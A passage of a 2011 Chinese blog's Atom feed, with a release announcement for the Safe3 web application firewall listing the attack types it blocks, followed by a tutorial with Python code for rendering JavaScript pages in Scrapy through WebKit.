<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_Safe3 Network Center</title><subtitle type="text">			</subtitle><id>http://feed.cnblogs.com/blog/u/27677/rss</id><updated>2011-11-30T02:52:39Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><generator>CNBlogs BlogServer</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/27677/rss"/><entry><id>http://www.cnblogs.com/Safe3/archive/2011/11/30/2268760.html</id><title type="text">Safe3 WEB安全网关 v3.9.1</title><summary type="text">Safe3WAF是国内第一款免费的Linux轻量级的反向代理Web安全网关，采用类似nginx的占有内存少、高并发架构。作为网页服务器的前置，不但可以抵御各种黑客攻击，还可以高速内存cache服务器缓存相关请求来提高Web服务器的速度，并且具备网站集群负载均衡等功能。目前中国大陆使用Safe3WAF网站有游久网、联合早报等。主要功能:1.拦截GET sql注入2.拦截POST sql注入3.拦截Cookie sql注入4.拦截XSS跨站攻击5.拦截web溢出攻击6.拦截网站信息泄露攻击7.拦截非法http请求方法攻击8.web负载均衡功能9.拦截上传web后门功能10.拦截webserver漏</summary><published>2011-11-30T02:53:00Z</published><updated>2011-11-30T02:53:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/11/30/2268760.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/11/30/2268760.html"/><content type="html">&lt;div&gt;&lt;div&gt;Safe3WAF是国内第一款免费的Linux轻量级的反向代理Web安全网关，采用类似nginx的占有内存少、高并发架构。作为网页服务器的前置，不但可以抵御各种黑客攻击，还可以高速内存cache服务器缓存相关请求来提高Web服务器的速度，并且具备网站集群负载均衡等功能。目前中国大陆使用Safe3WAF网站有游久网、联合早报等。&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;主要功能:&lt;/div&gt;&lt;div&gt;1.拦截GET sql注入&lt;/div&gt;&lt;div&gt;2.拦截POST sql注入&lt;/div&gt;&lt;div&gt;3.拦截Cookie sql注入&lt;/div&gt;&lt;div&gt;4.拦截XSS跨站攻击&lt;/div&gt;&lt;div&gt;5.拦截web溢出攻击&lt;/div&gt;&lt;div&gt;6.拦截网站信息泄露攻击&lt;/div&gt;&lt;div&gt;7.拦截非法http请求方法攻击&lt;/div&gt;&lt;div&gt;8.web负载均衡功能&lt;/div&gt;&lt;div&gt;9.拦截上传web后门功能&lt;/div&gt;&lt;div&gt;10.拦截webserver漏洞&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;黑客攻击日志记录： /usr/local/safe3waf/log/attack.log&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;v3.9.1更新说明&lt;/div&gt;&lt;div&gt;1.新增自定义拦截跳转url&lt;/div&gt;&lt;div&gt;2.新增拦截IIS脚本解析执行漏洞&lt;/div&gt;&lt;div&gt;3.新增svn、htaccess、mdb等信息泄露拦截&lt;/div&gt;&lt;/div&gt;&lt;p&gt;4.新增struts2框架XSLTResult本地文件代码执行漏洞拦截&amp;nbsp;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2268760.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/11/30/2268760.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/10/19/2217965.html</id><title type="text">scrapy结合webkit抓取js生成的页面</title><summary type="text">1 scedulescrapy 作为抓取框架，包括了spider,pipeline基础设施2 webkitscrapy 本身不能作为js engine,这就导致很多js生成的页面的数据会无法抓取到，因此，一些通用做法是webkit或者xmi_runner(firefox)。通过这个手段可以对于js生成的数据进行抓取。需要安装的包有python-webkit (相关依赖自行解决)Xvfb (用于非Xwindow环境)3 开发downloader middlewarefrom scrapy.http import Request, FormRequest, HtmlResponseimport .</summary><published>2011-10-19T10:34:00Z</published><updated>2011-10-19T10:34:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217965.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217965.html"/><content type="html">&lt;span style="widows: 2; text-transform: none; background-color: rgb(255,255,255); text-indent: 0px; font: 300 15px/24px 'Helvetica Neue', Helvetica, Arial, sans-serif; white-space: normal; orphans: 2; letter-spacing: normal; color: rgb(55,55,55); word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" &gt; &#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;1 scedule&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;scrapy 作为抓取框架，包括了spider,pipeline基础设施&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;2 webkit&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;scrapy 本身不能作为js engine,这就导致很多js生成的页面的数据会无法抓取到，因此，一些通用做法是webkit或者xmi_runner(firefox)。通过这个手段可以对于js生成的数据进行抓取。需要安装的包有&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;python-webkit (相关依赖自行解决)&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;Xvfb (用于非Xwindow环境)&lt;/p&gt;&#xD;
&lt;p style="padding-bottom: 0px; border-right-width: 0px; margin: 0px 0px 1.62em; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;3 开发downloader middleware&lt;/p&gt;&#xD;
&lt;div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px" dir="ltr"&gt;&#xD;
&lt;div style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;&#xD;
&lt;div style="border-bottom: silver 1px solid; border-left: silver 1px solid; padding-bottom: 0px; overflow-x: auto; overflow-y: hidden; background-color: rgb(249,249,249); margin: 0px 0px 1.5em; padding-left: 0px; outline-width: 0px; width: 584px; padding-right: 0px; font-family: inherit; color: rgb(17,0,0); font-size: 15px; vertical-align: baseline; border-top: silver 1px solid; border-right: silver 1px solid; padding-top: 0px" &gt;&#xD;
&lt;div style="padding-bottom: 2px; border-right-width: 0px; margin: 0px; padding-left: 4px; outline-width: 0px; padding-right: 4px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; font-size: 15px; vertical-align: top; border-left-width: 0px; padding-top: 2px" &gt;&lt;pre style="padding-bottom: 0.75em; border-right-width: 0px; overflow-x: visible; overflow-y: visible; background-color: rgb(244,244,244); margin: 0px; padding-left: 1.62em; outline-width: 0px; width: auto; padding-right: 1.62em; font: 13px/1.333 'Courier 10 Pitch', Courier, monospace; white-space: pre; float: none; border-top-width: 0px; border-bottom-width: 0px; clear: none; vertical-align: baseline; border-left-width: 0px; padding-top: 0.75em; background-origin: initial; background-clip: initial" &gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;from&lt;/span&gt; scrapy.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;http&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; Request, FormRequest, HtmlResponse&#xD;
&amp;nbsp;&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; gtk&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; webkit&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; jswebkit&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;import&lt;/span&gt; settings&#xD;
&amp;nbsp;&#xD;
&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;class&lt;/span&gt; WebkitDownloader&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(0,128,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;object&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;:&#xD;
    &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;def&lt;/span&gt; process_request&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(0,128,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;self&lt;/span&gt;, request, spider &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;:&#xD;
        &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;if&lt;/span&gt; spider.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;name&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;in&lt;/span&gt; settings.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;WEBKIT_DOWNLOADER&lt;/span&gt;:&#xD;
            &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;if&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(0,128,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;type&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;request&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;is&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;not&lt;/span&gt; FormRequest &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;:&#xD;
                webview = webkit.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;WebView&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                webview.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;connect&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;'load-finished'&lt;/span&gt;, &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;lambda&lt;/span&gt; v,f: gtk.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;main_quit&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                webview.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;load_uri&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; request.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;url&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                gtk.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;main&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                js = jswebkit.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;JSContext&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; webview.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;get_main_frame&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;get_global_context&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                renderedBody = &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(0,128,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;str&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; js.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;EvaluateScript&lt;/span&gt;&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(72,61,139); font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;'document.body.innerHTML'&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt; &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&#xD;
                &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: rgb(255,119,0); font-size: 12px; vertical-align: baseline; border-left-width: 0px; font-weight: bold; padding-top: 0px"&gt;return&lt;/span&gt; HtmlResponse&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;(&lt;/span&gt; request.&lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;url&lt;/span&gt;, body=renderedBody &lt;span style="padding-bottom: 0px; border-right-width: 0px; margin: 0px; padding-left: 0px; outline-width: 0px; padding-right: 0px; font-family: inherit; border-top-width: 0px; border-bottom-width: 0px; color: black; font-size: 12px; vertical-align: baseline; border-left-width: 0px; padding-top: 0px"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
